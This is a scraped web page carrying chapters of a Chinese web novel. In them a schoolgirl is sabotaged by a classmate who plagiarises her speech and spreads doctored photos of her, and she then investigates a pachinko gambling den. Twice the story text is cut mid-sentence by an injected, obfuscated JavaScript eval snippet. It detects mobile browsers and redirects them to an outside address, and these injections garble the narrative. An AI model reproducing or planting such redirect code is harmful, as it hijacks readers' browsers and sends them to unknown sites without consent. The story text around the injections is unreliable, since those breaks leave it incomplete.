而李青青和林楚儿在前面的号码,同样也是单人组。 李青青看了眼,疑惑道:“你不是跟沈悸组合了吗,怎么都变单人组了?” 茉莉早就拟好了借口:“忘记跟你说了,我跟沈悸在稿件上有争议,就拆伙了。” “哦……看着沈悸那样,确实也像个完美主义者。”李青青点点头,没有质疑,“好了,我第二号出,先去侧台准备了,之后外面见。” 李青青比了个加油的手势,茉莉也朝她比了一个,目送她离去。 加油,她一定会证明自己不比有经验的李青青差。 她低头,注意力重回稿件。 余光边缘,有人推开了准备室的门走了进来。 准备室里所有人的目光都随之看了过去。 她知道那是谁,努力不去看,但那人却像是觉得火烧的不够旺,又添了把柴,故作熟识地朝她打招呼:“你在这啊,我刚在外面找你呢。” 明显是知道了自己报单人组的事情,故意引火上身。 这时,场内的人才注意到角落埋头的茉莉。 有人忍不住叹了句:“我丢,这些人怎么长的。” “你不认识那两?一个林家千金,一个沈家少爷啊。” “那角落的呢,我看着也好看。” “不知道啊。” 话题被引到身上,她只能敷衍地应了声:“嗯,来得早。” 林楚儿在一旁冷冷淡淡地看着,因为号码比较靠前,她便道了句“我去侧台准备”于是离开。 沈悸自然地坐在了茉莉的身边,隔着泛光的镜片漫不经心地扫过她的稿子:“写的不错。” 茉莉挪开距离:“嗯。” 沈悸窃窃地笑:“觉得我今天穿的怎么样?” 很奇怪,他只字没提她报单人组的事情,反而提些莫名其妙的话题。 反正也已摊牌,他不可能当着所有参赛选手的面把自己踢出,于是为了让他尽早闭嘴,她随意一扫,评论说:“人样。” 沈悸穿的十分正式,一袭黑色西装显得十分成熟稳重,加之人长得俊秀,更加像谦谦公子。 不知是他脑子坏了还是怎么,他满意的点点头:“确实,我也觉得。”他说了句莫名其妙的话,“穿的贵,就能显得贵。” 不知道是不是因为沈悸坐在身边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337130|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茉莉总能感觉到一些人时不时的视线探来。 她忍无可忍,起身想换到别处去。 “茉莉。”沈悸喊她。 她没停,兀自往前。 “希望,你喜欢我今天的模样。”少年坐在背后,碎发间的疤痕忽隐忽现。 茉莉走出了准备室。 她捡了个过道坐下,重新把注意力投在稿子上。 不知道为什么,她感到后脊背发寒,身上莫名起了一堆鸡皮疙瘩。怎么都无法集中注意力。 她只能强迫自己去念,可惜字念在嘴里,却过不了脑子,就像水流过去,抓不住,留不下。 号码一个接一个过去,她留意了下场内主持喊的号码,快要到自己了。 重新回到准备室,准备室里基本都已走空,只余下三四个尾号的选手还在苦练。 沈悸不在准备室里,看起来应该是已经去侧台准备上台。 她本来想等到沈悸下台再去侧台的,但工作人员急于收拾场地,把他们几个尾号的选手全都赶进了侧台的通道处。 旁边传来不悦的吐槽:“哇,真是命苦,因为尾号待得久所以引前面人不快活了是吗,通道那么暗,咋看稿子啊。” “唉,算了,你都说练那么久了,凑合看两眼就行了。” 通道的确很暗,只有几个前往舞台的标识亮着,几个人只能蹲在过道里借着微光看稿子。 茉莉跟另一个女生蹲在一处,眼睛刚扫上第一行字,耳畔就传来沈悸清冽的声音: “大家好,我是第五十三号选手,沈悸,接下来我带来的演讲是……” 倏忽间,她的大脑成了一片空白。 不可能。 连带着感官都变得敏锐,耳朵听着,眼睛看见稿面上的字一句句重合。 她的稿子,被沈悸一字一句,完完整整地念了出来。 她的脸色霎时间变得惨白如纸,捏着稿子的手指泛白,无法控制地颤动着。 边上的女生发现她的异状,好心地问了一声:“怎么了,是紧张吗?” 她刚刚张唇,就听见沈悸结语致谢的声音。 她猛地站起身冲向侧台,正面撞见下台的沈悸。 她没来得及去逼问,工作人员便从帘后催促她上台。 沈悸噙着和煦的笑,从口袋拿出耳机挂在左耳,款款地从她身边经过。 “……” 他说了些什么。 时间来不及让她消化那些话,茉莉被迫站在了台上。 台下是乌央乌央的黑色,沉闷的,压抑的成了一片。 所有人的眼睛似乎聚成了一个长满眼球的肉瘤,直勾勾地盯着她看。 手是冰的,心是空的,她一句话都说不出来,写满字的稿子也成了一片空白。 场内逐渐响起了疑惑。 不行。她紧紧攥成拳,用力地反抗那无形压迫她的手。 不过就是稿子被剽窃,她即兴发挥就是了。 她可是因为即兴救场才获得了这么个机会,只是再一次临场发挥而已,只是字数变多了而已。 看了那么多学了那么多,努力了那么久,好不容易能站上台,她怎么可能要因为那种肮脏龌龊的手段在此止步。 她深吸一口气,当着所有人的面——撕掉了手里的稿子。 你想看我坠落的丑态? 不可能,沈悸。 你看好了,我不可能被你摁在掌心之下。 场下一片哗然。 她组织着语言,开口道:“不好意思,因为发现稿件大同小异,我临时起意,想即兴发挥。” “今天的主题是“畅想未来”,我想说,未来是一个很难以估摸的东西,谁也说不准明天究竟是悲是喜……” “有人跟我说,每个人未来已经成了定然,但我想说,去他的定然,我要活成我自己,哪怕我今天说要躺平,明天就说我要成亿万富翁,只要自己相信自己,指不定明天的期望会成真呢。” 台下的评委老师怔愕地看着这个大胆发言的姑娘,但依旧有观众忍俊不禁地笑出声。 台下的观众的反应激励了茉莉,她愈发感到轻松,出口成章,硬生生把干涩古板的诵读考试变成了有和有应的演讲会。 暗处,窥视者赞叹地鼓了鼓掌。 不错。 他就是想看到开的这样烂漫的花。 这样,他有兴致继续游戏,继续当个疯子。 用力地,将花瓣撵碎在掌心。 台上的少女富有活力的演讲着,但还不够热闹。 他摁下了摁扭。 舞台顶的开口打开,须臾间,一堆白底的纸片从上飘浮而下,在聚光灯的照耀下,像霜月之下一只只翻飞的蝴蝶。 茉莉被突然的动静吓了一跳,反应过来时,她还在想是不是后台工作人员失误错摁到什么。 直到——那白色的“蝴蝶”飘落在她覆于桌面的手背上。 是一张照片。 脸部被人特意截掉,可她还是一眼就认了出来。 一张,被人恶意截图,满身淋湿的,衣不蔽体的,关于她的照片。 白色的纸片飞舞到了台下,观众们疑惑着,纷纷低头捡起那些纸片—— 全身的血液都凝固住了,牙齿也止不住地咯咯发抖,呼吸断断续续,差点就要窒息晕厥。 她似乎被什么强行夺舍,全身发硬,怎么都动不了。 脑袋里不停回响着沈悸的话。 “穿的贵,就能显得贵” 伥鬼试图披着人皮混入其中,却掩不住身上的腐败腥臭。 “我给过你机会的。” “希望你喜欢这个——来自疯子送给你的小礼物。” 暗暗的,低低的。 像是来自恶鬼的呢喃。 27. (补更一)有趣 茉莉不知道自己是怎么走下台的。 只知道自己缓过神时,她全身都是冷的。 考核被迫结束,相关人员正在核实意外。 但肯定是查不到什么的,沈悸一定早就安排好了。 她坐在空无一人的走廊上,涣散地盯着白色发呆。 长长的过道回响起踢踏踢踏的脚步声。 有人刻意地停住步调,黑色漆皮的皮鞋出现在视线,慵懒地开口:“怎么了,愁眉苦脸的。” 茉莉浑身一震,簌地站起来狠狠揪住对方的衣领,几乎咬牙切齿地挤出字眼:“沈悸,我不欠你的。” “这么快就精神了?”沈悸任由她扯着,藏匿在镜片下的阴霾深沉,看不穿他的想法,嘴角挂着淡笑,“本来是的,可我现在改变主意了,我不想那么快结束。” “总玩一个游戏不觉得腻吗,你走你的阳关道有什么不好?”她眦目欲裂,气到大脑发胀发痛,脖颈的经脉几乎要炸开一般凸出。 “不好,阳关道没你,我想让你陪在我身边。”他轻轻抚摸她的唇角,“你还是笑着好看。” 揪着衣领的手都开始发抖。 溃败,完全的溃败。 她还是那个被迫玩猫鼠游戏的老鼠,靠着一丝机灵逃脱,又很快会被捉回来。 她怎么忘了。 沈悸是个疯子。 苟活在臭巷长大的人,怎么可能会有底线和道德。 她红着眼,牙关咬紧:“沈悸,我会恨你的,我一定会把你一同拉下水的。” 沈悸莞尔一笑,眼底透露出一丝癫狂:“我不怕,我最怕的是——水里没有你。” “最好让我看看,你还能怎么玩下去。” 有人缓步接近,他扯开茉莉的手走远,林楚儿最后看了眼茉莉,没有说话,紧跟了上去。 待两人走远,茉莉就像全身力气被抽空一般,双脚顿觉无力,大脑是一片宕机的白。 玩什么。 再次发现自己的挣扎是无用功吗? 她只想恢复到正常的生活,只想好好做自己,为什么会那么难。 浑身僵硬麻木地走出剧场,三个姐妹已然在外面等待。 她们还在议论刚才的事故,为了不让她们看出端倪,茉莉只能强撑着精神附和两句。 手机里传来消息,是茉双季发来的,在关心她今日的情况。 她摁下一切都好的字句,发送回去。 假话到最后最难咽,委屈和恨意无处可倾诉,只能一遍遍吞回肚子。 躺在床上,她开始放空大脑。 忽然的,不屈感从心头燃油而起。 沈悸并非是什么神人,也有弱点,也可以被攻陷。 只是她的软肋太过明显,而沈悸早就尝过身败名裂,现在又有后手,输的点,仅仅在此。 不对,她也不该怕,只要不牵扯到她唯一的家人,她又有什么好怕的。她反驳着自己。 她可以独自待在暗处,但家人不行。 茉莉紧紧闭上眼。 她才赢过一轮,怎么可能坐以待毙,等着被沈悸牵着鼻子走。 但她抓不到他的把柄。 她只能忍耐,还得亲自去打探情报,去了解这两年的沈悸。 时间来到十二月底。 招生考核中的事故果然被推出了个替罪羊,这是沈悸惯用的手段,不足为奇。 而没轮上的考生全都收到了补考通知,但时间未定,谁也说不准有没有下次补考,因为这次考核本就面向全国,不乏优秀的考生。 茉莉并没有感到沮丧,因为现在最重要的事情,是扳倒沈悸。 沈悸表面的消息很好查探,毕竟作为学校的风云人物,他的一举一动都被人们作为茶余饭后的谈资。但她要知道的不是那些显而易见的事情,而是藏在面具下那些不为人知的秘密。 还有,住不住校,能不能在他的住所发现些什么。 她瞬间就想到了离沈悸最近的几个人,胡振、贺哲和林楚儿。 林楚儿一定是个不好突破的人,她知道的实在太多,又有付恒的前例,她一定会警备自己。 胡振贺哲从沈悸转学来就跟着他,他们应该清楚沈悸的行动轨迹和喜好,从中一定能找到些破绽。 胡振和贺哲成绩不佳,不在一班,而是在吊车尾的十班。一班通常都会拖堂,她特地找了个课间的空挡去了十班,刚到门口,在后门闲逛的胡振就看到了她。 胡振眼睛一亮:“诶?你来找沈哥吗,沈哥可不在这个班哦。” 坐在门旁的贺哲听到他说话,椅子一斜露了个头。 茉莉连忙挂笑:“不是的,我就是来找你们的。”她假装扭捏,双手紧攥衣摆,“我想知道,沈悸喜欢什么……” 胡振瞬间了然,清了清嗓子:“我懂你意思,但沈哥除了看书学习好像就没啥爱好了。不成的话,你送他套学习资料?” 似乎比想象的更加难打听,不过茉莉另有法子,她故作为难道:“这样啊,那沈悸平时会去哪里呢?他住校吗?” “沈哥不住校,他在外面有房子。说他经常去哪的话……大概就是图书室了。” 真是个怪人,他连身边的人都不信任吗。 茉莉佯作悻悻的模样:“哦,那好吧,谢谢。” 走到拐角,她打开手机,在备忘录里记下信息。 沈悸不住校,那部手机大概会随身携带,纸条大概放在他校外的房子里。先前沈悸说要她一起去他父亲的寿宴,在那看来是找不到。 她刚收起手机,抬眼,不期然对上一双凌厉上扬的眸子。 她愣了愣:“贺哲?” 到底什么时候站在这的,她根本就没发现。 贺哲倚靠着墙,修长的腿左右交叠,他随意看了眼茉莉:“想泡沈哥?” 她装的模样确实如此,即使内心恶心,她还是硬着头皮应道:“嗯……上次他救场……” “——乱讲。”他毫不客气地打断,薄唇轻启,“从你自主把双人组改成单人组的表现来看,你很讨厌沈悸。” 茉莉瞬间了然。 是贺哲把自己选了单人组的消息提前泄露的。 给了沈悸反应机会的,是他。 茉莉收起了局促,冷眼看着他:“所以呢,你想表达什么?还是说,你要做沈悸的好狗,如实上报?” 他不怒反笑,却因为自带凶相的眼显得极具压迫,他嗤笑道:“不,我只是觉得,你很有意思。” 他从口袋拿出一叠便签纸,咬开笔盖写下了一串字,随后递给茉莉:“放学来这里找我,想问什么,我来告诉你。” 茉莉没接,谨慎地打量他。 他显然耐心不足,伸手贴在了茉莉的脸上,招招手走远。 又是个自顾自的家伙,茉莉无语地扯下便签,翻面看了一眼,是个地址,但没详细写清楚是什么地方。 她搞不清楚这个叫贺哲的人有什么意图,也不知道这是什么地方,心里直犯嘀咕,不知道到底要不要去赴约。 但从言语中多少能听出来一些,这个贺哲,似乎跟沈悸的关系并没有明面上那么好。 如果这个叫贺哲的是真心想帮自己,那么就是个很关键的突破口。 但如果不是呢? 纠结了一下午,茉莉最终还是决定探探虚实。 晚自习结束,茉莉特意找了借口说要买资料,支开宋长乐后,她混在走读放学的人堆里打算偷偷溜出去。 但她实在小看了一中的门禁——观察了一阵,所有人都得用出入证验证才可以出去,并且每个人都是排着长队走的,她根本没机会混出去。 瞧了一阵,她从队伍里走出,转而去了围墙的另一边——正门不通那就另辟蹊径,直接翻墙出去好了。 好在围墙边有棵树,她费力地爬上去,借着高低差上了围墙顶,又从围墙顶上跳进外面的草坪。 落地有些不稳,但没伤到自己,她拍拍手上的灰,沿着路往街机厅走去。 她并不知道街机厅在哪,一中的位置并不在繁华地段,走过学校前最拥堵的那段路后,周围就开始陷入一片静,路边的商铺要么空,要么早早关门,几乎没有一点活络的迹象。 位置是安静了,平常人走过去还是会觉得瘆得慌,但茉莉从小长在村里,荒僻小道走得多了,对于走这样的夜路还是绰绰有余。 沿着街走到了头,她都没看到所谓街机厅。 她皱了皱眉。 难道在诓她? 她刚打算回头再找一遍,突然听见几个青年嬉笑着从街对面走来。她狐疑地看过去,街对面,一家没有门头的店面开着,店头很小,也不算亮,一眼看去几乎看不见,只能看到路灯的光。 她走进对了下号码,对了,就是这里。 这里是一家街机厅,店内摆放着许多她没见过的机器。她好奇地朝里张望,却没注意到门边那始终在她身上流连的目光。 “妹子?玩游戏?” 茉莉看了眼,那显然是个社会闲散人士,她摇摇头,退到一边:“不,等人。” “玩玩,我这硬币多,刚赢的。”那人不在意她的回避,晃了晃叮当响的口袋,走近了两步。 “——滚远点,这是我的人。” 她刚想走远些,却听后方有人说话,还挎住她的肩。 又是流氓?她下意识抬手扇了过去,随着清脆的巴掌声,那人发出了一声闷哼,肩上的重量也消了下去。 “嘶……”来人倒退了两步,拧着眉看她,“下手真狠啊。” “哲哥?”那人一看见贺哲就立马板正起来。 “滚。”贺哲瞪了他一眼,那人屁话不敢吱一声,迅速滚进了店里。 “贺哲?”看清来者,茉莉无语凝噎,“这黑灯瞎火的,你直接冲上来拉人,还穿成这样,谁不觉得你是流氓。” 贺哲是换了身衣服来的,白天虽没穿校服,倒也老实穿了件卫衣。晚上就直接换成了无袖背心,露出精壮的双臂,身上挂满了金属长链,连右耳都戴上了链条状的耳钉,怎么看怎么痞气。 虽是那么说,但看见贺哲始终捂着左脸直不起身子,她还是嘟囔着靠近,心里发虚:“你……没事吧?” “呵……”贺哲缓了口气,瞥了她一眼,“有事你来扶我吗?” 茉莉看看他一米九多的大个,又看看一米六的自己,诚实道:“扶不动。” “那就别说屁话。”贺哲直起身,看着茉莉身上的校服勾了勾手,“脱了,别让人看见,影响不好。” 确实,这个街机店看起来鱼龙混杂,被看到自己是一中的的确会有些麻烦。 茉莉把校服外套脱下系在腰间,随后又散开马尾随意绾在颈间,眨眨眼:“这样呢?” 她还把发绳咬在嘴里,声音含含糊糊,白皙纤细的脖颈被黑发衬的几乎透明,一双美人眼俏生生地看着,惹得贺哲不禁有些愣住。 先前他还没怎么正视过她。 现在一看,简直娇的过分。 他捏了把自己,眼神游弋:“嗯,走吧。” 他们一同走进店里,店里的规模比看起来的要大,摆着许多闪烁的游戏机,茉莉四处环顾,对什么都好奇。 贺哲看在眼里:“没来过?” “没来过。”茉莉没忘今天来的目的,直逼主题问,“说吧,约我过来想说什么?” “不是你要问我吗?关于沈悸的。”贺哲跨坐在一台街机前,冲她招招手,“过来。” 茉莉没动,站在原地狐疑地看向他,又看了看那台游戏机,“你先回答我,你是不是跟沈悸有什么过节?” “——对。”他回答的不假思索,长臂一伸拉她到面前坐下,“回答完了,接下来,打赢一把游戏,我回答你一句。” 他拉过茉莉的手腕,强制少女坐在面前,两手环过她操作着游戏机,选定新手难度后,他松开了摇杆:“这是移动,这些是技能……” 距离极近,连温凉的吐息都能清晰感应在颈边,他几乎是贴着自己,甚至,茉莉都能嗅见他身上檀木香气。 茉莉不自然地挪了挪,咬着唇低声怒道:“就不能离我远点?还想被扇?” “别说话,好好看着学,你难道不想多问些?”他低笑一声,语气染上几分轻佻,“不过,你挺带劲的,不如思考一下跟我好了。” 茉莉揪住他的衣领用力往后一推,斜眼看他:“是吗?那别被劲过去了,我可不是你能玩得起的。” 说罢,她握住摇杆,另一手放置在技能键上开始尝试操控。 熟悉了一下操控,她问:“怎么调难度?” “这已经是最低难度了。” “不,我要调到最高。” 贺哲略略诧异地抬眉:“你确定?” “一局一局太慢了,我又不确定你是不是街机高手,不如把难度调到最高。我看了,最高难度一共五关,赢一关,你回我一个问题。”茉莉把摇杆松开,翘腿问,“反之,输了,我回答你,如何?” 贺哲的嘴角扯出一抹兴奋的笑,他舔着后槽牙,舌尖鼓起脸颊,模样更加痞气:“你还真是让人意外。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337131|165404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不光精准猜出他的试探,还把规则篡改成了完全倾向的模样。即使游戏输了,但只要根据自己的提问,聪明如她就一定能反推出什么。 可偏偏一举两得,他也实在好奇这个叫茉莉的少女,他没有拒绝的理由。 “当然,我们是互利的。”茉莉笑。 难度调试完毕,茉莉选择好武器,操控着人物笨拙地往BOSS上挪动。 小人一共有三条命,血条见底可以原地复活重来三次,第一条命很迅速的结束,贺哲挑挑眉,少女选的武器是难度系数最高的长鞭,不意外,第一关她可能都过不去。 这个游戏的难度极高,连高手如他都花费了两天时间通关,茉莉一个从未接触过游戏的人怎么可能能通过。 他摇摇头,刚偏过视线,游戏机上就发出了一阵欢快的通关音乐,惹得的他再次把视线聚焦回游戏机上。 这不可能。 他错愕地重新看了一遍,不可能,但真的被她通关了。 茉莉转过头,扬了扬下巴:“怎么样,愿赌服输?” 贺哲回过神,笑的恣意:“愿赌服输。” “你的左侧脸是不是有伤?”没料到,茉莉的第一个问题居然没问沈悸,而是跟他有关。 他懒洋洋地靠在椅背:“这么关心我,看上我了?” “我问,你答,少些废话。” 少女的长相分明软弱可欺,可此时,她的水眸里全溢满着与之不符的倨傲和张扬。 贺哲自知没趣,耸耸肩,然后点了下左眼:“有,几乎是瞎了。” “好,接下来第二关。”茉莉点点头,转身继续攻打第二关。 这次,贺哲没敢挪开视线,聚精会神地盯着屏幕,想看看她究竟是怎么做到的,看着看着,他突然笑了,大手揉搓着茉莉的脑袋:“真厉害,连武器的bug无敌帧都被你看出来了。” 任何游戏都有bug,更别说盗版横行的街机游戏。而这个格斗游戏的bug就在那个长鞭上,长鞭挥动的瞬间可以打掉BOSS的攻击,他曾经卡了两天才发现这点,这才把游戏顺利通关。 他以为少女愚钝,没想过她能通关,可她却能在新手教程中就能看到这点,实属是他没想到的。 茉莉撇开他的手,脑袋被揉的乱七八糟也无暇顾及:“别烦。” 看着少女毛茸茸的脑袋,贺哲歪歪嘴,靠在椅子上等她第二次通关。 第二关顺利通过,茉莉又问:“沈悸做的?” 又是和他有关的问题,贺哲没遮瞒,直接道:“是。” 茉莉点头,随后又是第三关。由于前两关的磨炼,她的操作越发娴熟,第三关只用了一半的时间便通过,她问出了第三个问题:“为什么要约在这里见面?” “因为这里有藏着沈悸的秘密。” 第四关相较于前面就更难了些,茉莉一刻不敢松懈,终于在最后一条命的血条见底时打败了BOSS。她呼了口气,说:“倒数第二个问题,你为什么要帮我?” “因为沈悸在乎你,你是他的软肋。” 这句话说的过分暧昧,茉莉听得不舒服,小声反驳道:“一个没有心的人,如何有软肋一说。” 她重新回到游戏。第五关是最后一关,难度直线飙升,她紧咬下唇,紧张地控制角色,卡着无敌帧躲避伤害。 可BOSS的伤害实在不讲理,一通攻势下来血条就见了底,即使有无敌帧也抵挡不住满屏的弹幕,没有游戏经验的她根本毫无招架之力,很快,她就只剩下最后一条命了。 她还在回想BOSS的攻击方式,身后却探来一双手覆盖在她的之上。 “想赢吗?”耳畔,贺哲的声音深沉,把着她的手操控角色,躲开了一波攻势。 她的眼里倒映出游戏画面,BOSS吐出的火烛燃在她的瞳孔之中,“虽然没输过,不过,我不想输。” 她不想输,不管是游戏,还是那该死的命运。 她不可能跌倒在这里,就如她不会任由沈悸拿捏。 身后的少年低笑,“好,我不会让你输的。” 他把着茉莉的手,熟稔地跳跃、闪避、冲刺、攻击,BOSS的防御很厚,但在他的操作之下,那血条渐渐地被消磨掉了三分之二。 长鞭舞动着,不停打消BOSS的攻击,随后接近BOSS,在它身边不断消耗。 终于,随着BOSS的倒下,游戏中的骑士昂首阔步地走回自己的王国,成了人人赞颂的英雄。 游戏结束。 茉莉的心不停跃动,激烈地仿佛要跳出来一般。 薄汗挂上额间,她浑然不知,直到一张纸巾擦拭在她的鬓边她才发觉过来,接过纸巾道了声谢。 “饮料。”贺哲丢了瓶汽水过来,随手拉过一旁的椅子坐下,咬着吸管喝,“估计不冰了,你太投入,我都怕影响你又挨一巴掌。” 茉莉没跟他客气,打开汽水润了润嗓子,说:“最后一个问题了。” “嗯。”贺哲坐了起来,双手垂在腿间。 茉莉直直看他:“你想要利用我是吗?” 对方一目不错地看着她,手托着下巴,棱角分明的脸被闪烁的游戏机灯光照的冷硬,他嗤地一笑,喉结微微滑动,目光几分戏谑,几分狡黠。 “是。”他说,捏着汽水瓶的手指不经意地敲打,眼里燃着一簇燃烧的火焰,“我想利用你,而你也一样。” “你想怎么利用?”茉莉直视他眼里的火热,俯身,双手支在他两侧的扶手上,“秘密,又是什么?” 松散的辫子从肩头滑落,贺哲的视线忽闪,顺而下移——心里烧成了一片。 他忍不住伸手,替她拉住下滑的衣领。 “我和他的过节不仅仅是他伤了我的眼睛而已,还有些说不出来的事情。在他身边跟了两年,我摸出来一个足以扳倒他的秘密。但仅仅把秘密公开那远远不够,一定要是软肋的你去捅出这把刀才可以。” “杀人诛心才是最痛苦的,就算没有心,他也会感觉到痛。” 他说着,语气愈发狠厉。 茉莉小心地看着他的脸色,问道:“……你要我怎么做?” “——说过了,跟我。”他故意拖着腔调,眼神悠悠地定在她粉嫩的唇上,吊儿郎当地笑,“试着跟我在一起?” “你意思,假装喜欢你?”茉莉没被他的玩笑唬住,直白地问。 贺哲听罢,有些沮丧地撇撇嘴,又很快恢复成那副不羁的模样,嘴角噙笑:“对。” 想了想,他又补充道:“别入戏太深哦?” 28. (补更二)灰色 知道贺哲嘴里的话三句有两句是调侃,茉莉略斜一眼,伸出手:“合作愉快?” 贺哲握住她的手:“合作愉快。” 达成合作,贺哲松开手,重又把汽水递到嘴边,慢悠悠地说:“既然聪明如你,不如你猜猜,为什么我会约你来这家街机厅?” 茉莉环顾四周,眉心一动,注意力被街机厅不显眼的一隅吸引。那一隅摆放的不是游戏机,也不是娃娃机,而是一个又一个她看不明白的机器。 之前刚进店的时候她就注意到了那一排的机器,因为全店人流量最密集的地方就在那里,而那种奇怪玩法的机器甚至比主体的街机还要多。 甚至再观察一会,她发现几乎整个街机店的玩家都在往那边聚集,只有极少数的人坐在街机前,似乎只是中途歇息,更换下一个玩家入坐。 她发出了疑惑:“那是什么机器?” 贺哲赞许地看着她,吐出的字句十分沉重:“一个,碰了就会上瘾,会完蛋的机器。” 他站起身,随手把空掉的瓶子丢进垃圾桶,勾勾手:“来。” 茉莉闻声起立,跟着他走到那角落。 离的越近,一股混合着烟味、汗臭和方便食品浓烈呛鼻的味道便越发刺激。熏得她不禁捂住了口鼻,不愿再往前多走一步。 刚才离的远了,一些景象看的不清晰,现在再一看,几乎每个机器旁边都积攒了一堆垃圾。机器前坐着的人全都魂不守舍,像抽离了灵魂一般,蓄着憔悴的神情直勾勾地盯着屏幕,手一刻不离机器的把手。 机器的玩法很简单,只有两种,一种是操控拉杆将机器里的□□射到对应的入口获得奖励,一种是扳动机器的扳手让屏幕里的三个花色在横斜行上相同时给予奖励。 而他们的身边,全都放着一层又一层的筐子,有些空了,有些里面满满的全是硬币。 所有人如同行尸走肉,机械地重复投币、操作的动作。她眉头紧蹙,嫌恶地凑近贺哲,小声问:“这是什么机器?” “柏青哥。”贺哲显然是习惯了这样的场景,领着她走到了最里面的一台没插电的机器前,“来,试试?” 茉莉立马拒绝:“不了。” 贺哲挑眉,弯腰把机器的电源接上,随着一阵欢快的音乐,机器亮了。他坐在椅子上,从口袋里拿出一块硬币投入。 他面前的机器是拉杆式的,茉莉看着他拉杆的操作,突然想到了什么:“这不是那种弹珠机吗,把弹珠弹入发红的区域可以得弹珠的。” 她小时候在县上一些小超市门口玩过,顺利的话,一块硬币能玩好几把,有时候能赚一兜子弹珠回去。 “没错,但这比弹珠机要厉害。”贺哲拉动拉杆,蓄力后松手,发射口里的钢珠受力弹射窜进了对应的框口。 机器闪烁起了通关成功的彩灯,伴随着通关音乐,机器下方的出口发出硬币碰撞的清脆声响。 下方出来的不是弹珠,而是真金白银。 贺哲接连又试了三四把,下方源源不断地响着, 茉莉侧目看去,惊骇地瞪大眼睛。 原本的一块硬币早已翻了几翻,一捧都装不住。 “这、这么多?”茉莉不敢想,这么一会的功夫,数额就已经可以让她生活三天。 “没错。一颗弹珠就是一块硬币。”贺哲从下方把硬币全部拿出,通通倒进了投币口,“看好了。” 这一次,下方的入口只开放了一个,中间的障碍还多了不少,贺哲再度拉杆,这次,他没再顺利入口。 接连又是两把,两把全都是极少的入口,极多的障碍,钢珠一次都没进入。 看到这里,茉莉大概懂了这个所谓柏青哥的原理。 这就是一场赌博,一场伪装成休闲游戏的赌博。 开始让你连胜,引起兴趣,之后在你兴头正盛时刻意设下难度,并显示下一把一定会出大奖,大部分人玩到这里都会迎难而上,觉得只是一时失误,而赢的人会觉得,胜率已经刷到那么高了,走的话一定会便宜别人。 只要有了这种想法,就几乎已经成瘾。 柏青哥最精妙的,就是它没用所谓的数字画面,而是用物理性拉杆或扳动扳手的方式蒙骗他人,使之以为只是手误。 但任何机器,任何赌博都是可以人为控制的。他们全然忘了,这是一台可以被操控难度的机器。 想到这里,茉莉寒毛倒竖,完全不敢相信这样的弹珠机竟然可以成为赌博的一种方式。 而且,还看起来十分无害。 “这就是为什么上瘾,为什么完蛋。”贺哲拔掉机器,把硬币筐塞到了一旁的柜台底下,“所以,你知道我为什么约你来这里了吗?” 茉莉思忖片刻,一个大胆的想法出现在脑海。 “应该不仅仅是赌博那么简单吧。”她顿了顿,“赌博是个灰色产业,每天资金流动又那么大,再怎么样也会引起相关部门的注意。你想说,跟沈家有关?” “赌博需要本金,当所有人沉溺与一时晌欢,就会缺少这个。”贺哲搓了搓手指,比了个显而易见的动作,“而且你也知道资金流动大,那多出来的钱怎么办呢,这样,又比较适合做什么呢?” “洗钱,还是放贷?”茉莉摩挲下巴,低眸,“应该都有?” “是。”贺哲掀起眼皮,手指在机器上叩动,“这就是我为什么约你来这里的理由。” “你为什么会知道那么多,又为什么不报警?”茉莉越听越觉不对,既然已经牵扯到灰色产业,贺哲还是个家境优渥的少爷,不管从哪里去想,他都有绝对的把握能全身而退。 贺哲苦笑了一声,淡淡道:“就像我不知道沈悸是如何做到这些的一样,我也有不知道的关键。而且,我已经身在局中,一动即死。” “如今我知道的关键,就是沈家不止这一处灰色产业。茉莉,这种东西不能放任下去,一定,要弄倒沈悸。” 话是这样说的。 但贺哲一定还有没言说的事情,比如,他为什么在这局中难以抽身。 这种东西确实不能放任,她一定会找齐证据,彻底扳倒沈悸。 话已说绝,茉莉也没再执着下去,便拿出手机看了看时间:“差不多了,我该走了。” 贺哲起身说:“我送你一截。” 走了两步,茉莉突然想起什么,问:“你知道……哪里有卖漫画吗?” 贺哲眨了眨眼。 - 茉莉回到寝室时,宋长乐还在门口给她留门。 她嘴里还嚼着肉铺,见到茉莉,她撇下半块递过去:“来,张嘴,咱们家的劳模,还翻墙出去买学习资料。” 茉莉忍不住笑,张嘴接下那块肉铺,把事先准备好的学习资料和漫画拿出来,惋叹道:“唉,这不是怕跟不上进度又成吊车尾吗,谁知道一中老师的讲课进度那么快。给,你的封口费,是这本漫画吧?” 为了躲避查寝老师和室友的怀疑,茉莉早早就发了消息给宋长乐,说自己溜去校外买资料去了,要她帮忙应付查寝老师。 当然宋长乐也不是干白事的,毫不客气地要她带“封口费”,也就是最新一期的漫画书。 宋长乐满意地点点头:“没错,就是这本。”她让开门,边走边迫不及待地翻开漫画书,连路都没看,差点被李青青放在一边的鞋绊倒。 李青青眼疾手快地扶住了她,叹气道:“走路看路啊,上学期就有个女生这样摔的,结果骨裂,到现在都还坐轮椅上呢。” 宋长乐乐呵呵地打着圆场:“没事,硬朗着呢。” 寝室里的室友都没睡,除了宋长乐在看漫画,其他两位都在忙着预习明天的课程。 离熄灯还有几十分钟,茉莉迅速洗完漱,穿着睡衣坐在床上,打算听听英语磁带然后睡觉。 